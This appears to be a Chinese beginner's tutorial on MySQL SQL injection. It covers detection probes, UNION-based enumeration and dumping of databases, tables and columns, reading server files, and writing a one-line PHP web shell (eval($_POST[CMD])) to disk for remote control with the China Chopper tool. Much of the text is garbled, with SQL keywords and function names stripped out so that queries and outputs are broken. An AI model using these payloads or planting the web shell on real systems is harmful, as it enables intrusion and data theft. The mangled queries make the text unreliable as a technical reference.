解决方案-注入漏洞原理-新手网安自学
注入
l……
任何客户端可控,传递到服务器的变量。
漏洞原理
针对SQL注入的攻击行为,可描述为通过用户可控参数中注入SQL语法,破坏原有的SQL结构,达到编写程序时意料之外的结果的攻击行为。
其成因可以归结为以下两点原因叠加造成的:
1.程序编写者再处理程序和数据库交互的时候,使用字符拼接的方法构造SQL语句
2.未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中
SQL注入危害
漏洞危害
攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。在特别情况下,还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取或者服务器系统权限。
SQL注入分类和利用
SQL注入的分类
根据SQL数据类型分类
整型注入
字符串类型注入
根据注入的语法分类
SQL (可联合查询注入)
Eoor- (报错型注入)
- SQL (布尔型注入)
Time- SQL (基于时间延迟注入)
SQL (可多语句查询注入)
如何去判断SQL注入漏洞?
判断注入
uand
1=1 / and 1=2回显页面不同(整型判断)
u单引号’判断显示数据库错误信息或者页面回显不同(整型,字符串类型判断)
u\(转义符)
u-1
/ +1回显下一个或者上一个页面(整型判断)
uand
sleep(5) (判断页面返回时间)
SQL注入漏洞的利用
MySQL数据库的特性
一.MySQL中的3种注释风格
u#
(url编码为%23)
u--
(--后面要跟上一个或者多个空格)
u--+
(+相当于空格)
u/*…*/
u/*!...*/
二.MySQL函数利用
1.常用函数
luser()---数据库用户名
mysql> user();
+----------------+
|user()|
+----------------+
|root@ |
+----------------+
1 rowin set (0.00 sec)
()---数据库名
mysql> ();
+------------+
| ()|
+------------+
||
+------------+
1 rowin set (0.00 sec)
l@@---数据库路径
mysql> @@;
+-----------------------+
|@@|
+-----------------------+
|C:\\mysql\data\ |
+-----------------------+
1 rowin set (0.00 sec)
l@@---操作系统版本
mysql> @@;
+----------------------+
|@@ |
+----------------------+
|Win64|
+----------------------+
1 rowin set (0.00 sec)
()---MySQL数据库版本
mysql> ();
+-----------+
|() |
+-----------+
|5.7.16|
+-----------+
1 rowin set (0.04 sec)
l@@---MySQL数据库版本
mysql> @@;
+-----------+
|@@ |
+-----------+
|5.7.16|
+-----------+
1 rowin set (0.00 sec)
2.()函数读取文件操作
前提:
l知道文件的绝对路径
l能够使用union查询
l对web目录有写的权限
UNION ,('/etc/’),3,4,5#
UNION 1,(),3,4,5#
路径没有加单引号的话必须转换成十六进制
要是想省略单引号的话必须转换成十六进制
3.into
‘路径’写入文件操作
前提:
l文件名必须是全路径(绝对路径)
l用户必须有写文件的权限
l没有对单引号’过滤
‘’ ‘C:\\\\tmp\\1.php’
‘’ into ‘C:\\\\tmp\\1.php’
路径里面两个反斜杠\\可以换成一个正斜杠/
PHP语句没有加单引号的话必须转换成十六进制
要是想省略单引号的话必须转换成十六进制
后面路径的单引号不能省略
或者
建议一句话PHP语句转换成十六进制
4.连接字符串函数
(str1,str2)---没有分隔符的连接字符串
mysql> ('1234','5678');
+-----------------------+
|('1234','5678') |
+-----------------------+
||
+-----------------------+
1 rowin set (0.03 sec)
(,str1,str2)---含有分隔符的连接字符串
mysql> (0x7e,'1234','5678');
+-------------------------------+
|(0x7e,'1234','5678') |
+-------------------------------+
|1234~5678|
+-------------------------------+
1 rowin set (0.04 sec)
(str1,str2)---连接一个组的所有字符串,并且以逗号分割每一条数据
mysql> ('1234','5678');
+-----------------------------+
|('1234','5678') |
+-----------------------------+
||
+-----------------------------+
1 rowin set (0.07 sec)
三.MySQL中数据库
mysql>show ;
+---------------------------------------+
||
+---------------------------------------+
||
||
||
+---------------------------------------+
表
字段: 存放的是数据库名称
mysql> desc ;
+----------------------------+--------------+------+-----+---------+-------+
| Field| Type| Null | Key | | Extra |
+----------------------------+--------------+------+-----+---------+-------+
| | (64)| NO||||
+----------------------------+--------------+------+-----+---------+-------+
5 rows in set (0.11 sec)
表
字段:,ma,
mysql> desc ;
+-----------------+---------------------+------+-----+---------+-------+
| Field| Type| Null | Key | | Extra|
+-----------------+---------------------+------+-----+---------+-------+
| | (64)| NO||||
| | (64)| NO||||
+-----------------+---------------------+------+-----+---------+-------+
21 rows in set (0.00 sec)
表
字段:,,ema,,
mysql> desc ;
+--------------------------+---------------------+------+-----+---------+------
| Field| Type| Null | Key | | Extra
+--------------------------+---------------------+------+-----+---------+------
| | (64)| NO|||
| | (64)| NO|||
| | (64)| NO|||
+--------------------------+---------------------+------+-----+---------+------
四.MySQL中UNION规则
必须由两条或者两条以上的语句组成,语句之间关键字用UNION分隔
中的查询必须含有相同的列
会从查询结果中集中自动取出重复行
SQL注入挖掘以及防御
UNION query SQL
利用前提:页面上有显示位
优点:方便、快捷、易于利用
缺点:需要显示位
0x001判断是否存在SQL注入,同时判断注入类型:整型注入还是字符串注入
判断注入
uand
1=1 / and 1=2回显页面不同(整型判断)
u单引号’判断显示数据库错误信息或者页面回显不同(整型,字符串类型判断)
u\(转义符)
u-1
/ +1回显下一个或者上一个页面(整型判断)
uand
sleep(5) (判断页面返回时间)
0x002判断显示位长度,判断列数(二分法)
10
20
15
……
0x003判断查找显示位,UNION联合查询
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
0x004查找获取当前所用的数据库用户名,数据库名,数据库路径,操作系统版本,MySQL版本
user()---数据库用户名
()---数据库名
@@---数据库路径
@@---操作系统版本
()---MySQL数据库版本
@@---MySQL数据库版本
0x005查找列出所有的数据库名称
limit一个一个打印出来数据库名字
() from . limit 0,1
一次性全部显示
() from .
0x006查找列出所有的表名
limit一个一个打印出来表名
() from . where =0x(数据库名称转十六进制) limit 0,1
一次性全部显示
() from . where =0x(数据库名称转十六进制)
0x007查找列出所有的字段
limit一个一个打印出来字段
() from . where =0x(数据库名称转十六进制) and =0x(表名转十六进制) limit 0,1
一次性全部显示
()
from . where =0x(数据库名称转十六进制) and =0x(表名转十六进制)
0x008查找列出所有需要的数据
limit一个一个打印出来数据
((0x7e,,0x7e,)) from数据库名字.表名limit 0,1
一次性全部显示
((0x7e,,0x7e,)) from数据库名字.表名
0x009 ()读取文件操作
前提:
l知道文件的绝对路径
l能够使用union查询
l对web目录有写的权限
UNION ,('/etc/’),3,4,5#
UNION ,(),3,4,5#
路径没有加单引号的话必须转换成十六进制
要是想省略单引号的话必须转换成十六进制
0x010 into 写入文件操作
前提:
l文件名必须是全路径(绝对路径)
l用户必须有写文件的权限
l没有对单引号’过滤
‘’ into ‘C:\\\\tmp\\1.php’
‘’ into ‘C:\\\\tmp\\1.php’
路径里面两个反斜杠\\可以换成一个正斜杠/
PHP语句没有加单引号的话必须转换成十六进制
要是想省略单引号的话必须转换成十六进制
后面路径的单引号不能省略
eval($_POST[CMD]); ?>或者
建议一句话PHP语句转换成十六进制
0x011一句话木马
eval($_POST[CMD]); ?>或者
0x012菜刀连接
武功再高,也怕菜刀,中国菜刀,就是屌
SQL注入UNION联合查询类型手札
0x001判断是否存在SQL注入,同时判断注入类型:整型注入还是字符串型注入
and 1=1 / and 1=2回显页面不同(整型判断)
单引号'显示数据库错误或者页面回显不同(整型、字符串类型判断)
\转义符
~
网络安全学习,我们一起交流
~